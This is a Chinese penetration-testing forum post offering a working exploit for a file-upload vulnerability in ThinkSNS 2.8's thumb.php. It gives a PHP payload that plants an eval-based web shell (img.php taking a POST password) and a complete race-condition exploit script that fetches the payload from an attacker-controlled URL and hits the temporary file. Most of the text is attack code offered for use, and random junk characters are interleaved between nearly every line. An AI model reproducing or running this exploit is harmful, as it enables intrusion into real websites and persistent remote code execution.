中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
; L% k3 A1 B* f
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
- R2 O3 K1 ]6 q6 W) p
漏洞文件
0 }1 t( {$ J% O. C( k
存在漏洞的文件为:thumb.php
" Z9 o& b- F6 A" n1 |% A
作者:韦鲲鹏
) x- U& D( j: K: q7 _
1、 准备如下PHP文件并上传到服务器(自己的)。
) x% ]* Z- S$ O7 ^6 R
文件内容如下:
: J5 ]% P. ^% g. o8 j/ N
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
+ b* R- o. Q8 x/ f, U! s, X
2、 计算出临时的文件名:
: G( K( t5 }$ U8 }' P) f; i5 f
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
& `% D1 j) q0 A# L4 H
8 D$ l4 W' W) M
3、 上传临时文件。
# `/ Q ?& e) X7 d) b+ O
4、 访问临时文件。
{; B& L4 g" ?& M
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
. j( \- K. g2 I
Exploit文件内容如下:(这个我就不详细解释了)
0 R/ i3 T/ a0 J f5 N* F
<?php
V+ ~' ]& D0 ~( X. N3 h
error_reporting(0);
: U( w$ n7 F* X1 U9 f
set_time_limit(0);
" R) Y4 g+ U: F8 u& \+ N) u
ini_set(“default_socket_timeout”, 5);
% I/ M5 Q( R; H" d$ H) F. `
function http_send($host, $port, $headers) {
% [' f8 j; |. e# Y+ b2 s
$fp = fsockopen($host, $port);
. V, u% e5 Q! l8 x7 {
if (!$fp) die(‘Connection -> fail’);
' {" d! |( G1 v, e
fputs($fp, $headers);
: h9 Q$ G5 E: o6 @
return $fp;
! s! k% M4 v9 v' ^, P9 c/ S
}
4 q, F- x: m5 r+ b* l7 Z
function http_recv($fp) {
0 F2 Z$ d! w! h5 ^
$ret=”";
7 U, u2 S1 C& Z
while (!feof($fp))
" m6 l! S) v# O/ c' Y7 A
$ret.= fgets($fp, 1024);
4 U* r; | n+ [ n6 e' H
fclose($fp);
4 h" x# h6 \4 W/ \0 t- g
return $ret;
$ T H7 @& h) p: X
}
0 ?4 Y7 p3 L( T+ K; N
print “\n# ThinkSns Arbitrary File Upload #\n”;
% e9 N/ V' {" l7 v l+ Q
print “# Discovered by 韦鲲鹏 #\n\n”;
* m8 ~3 ~3 H$ X% j2 K5 V! ^
if ($argc < 4) {
" x( S" x( O# t7 N
print “Usage: php <host> <path> <romote_url>\n”;
3 }/ ^8 x" w0 x8 r s% l0 b& B, N
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
, L3 a! o" _; N8 q0 Y7 W" |
die();
/ E$ M9 v4 R' e
}
5 {. r( T0 w' X+ y3 U
$host = $argv[1];
7 T4 K" }3 N0 V
$path = $argv[2];
' r6 I" \1 T, L2 |( T+ e
$url = $argv[3];
! N6 F+ f- O% v
$i=0;
2 j6 _% l! J$ y2 r" D
//上传数据包
5 f( @5 C! f B2 A% Q* h
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
- @, h0 ?+ c n; W
$headers_up .= “Host: “.$host.”\r\n”;
! `0 R+ ?! h* A( G' q8 g4 ~( x" K5 z
$headers_up .= “Connection: close\r\n\r\n”;
, y% S0 H* z# l2 Y) C; `
echo $headers_up;
7 J2 V0 { q0 Z
//临时文件访问数据包
$ F+ l9 z+ {# R% Q* G$ l- h: U
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
2 s( v1 \% H4 Y
$headers .= “Host: “.$host.”\r\n”;
- e8 e! q! v; }" f$ [% p* V) ]
$headers .= “Connection: close\r\n\r\n”;
( m' {7 P8 T# w* M0 O
echo $headers;
& a e6 g5 c& h" F3 {$ e+ ~! O
while(++$i<10) {
: w4 @+ ~/ N" N
fclose(http_send($host, 80, $headers));
, @# n D" u0 o( x
}
) }" Y, Q* y4 s j3 ^4 t0 N: R, E( `
fclose(http_send($host, 80, $headers_up));
2 W. \1 r- w% y- U( A
while(++$i<50) {
; q- a1 e' N# @) X9 a- |/ Y
fclose(http_send($host, 80, $headers));
1 w! E' E1 Q$ E2 @0 Z. {
}
5 J" A2 a8 T: G/ U- l3 Q8 Z
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
! {7 ?( y( Z( ?1 @9 E3 `& _% U6 @7 }
$headers .= “Host: “.$host.”\r\n”;
/ ?1 e8 c. B0 g& q# A) h- B" Q
$headers .= “Connection: close\r\n\r\n”;
8 ^% s; _8 `, c1 \) \& m3 Q
$res=http_recv(http_send($host, 80, $headers));
* n$ W/ A) }+ y; ]+ u/ B
if(preg_match(‘/200 OK/’,$res)) {
0 d6 y! U' v8 H. A* V( Q8 Y
print “Success!\n\n”;
6 U2 I4 c5 W; B7 k* r/ O
} else {
" v% b, n/ Y( a7 }7 V4 A
print “Fail!\n\n”;
9 `- |2 a1 C7 H; `
}
8 R% _, h2 F0 w/ }
?>
- e9 R2 d. d5 E0 J" n! n
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2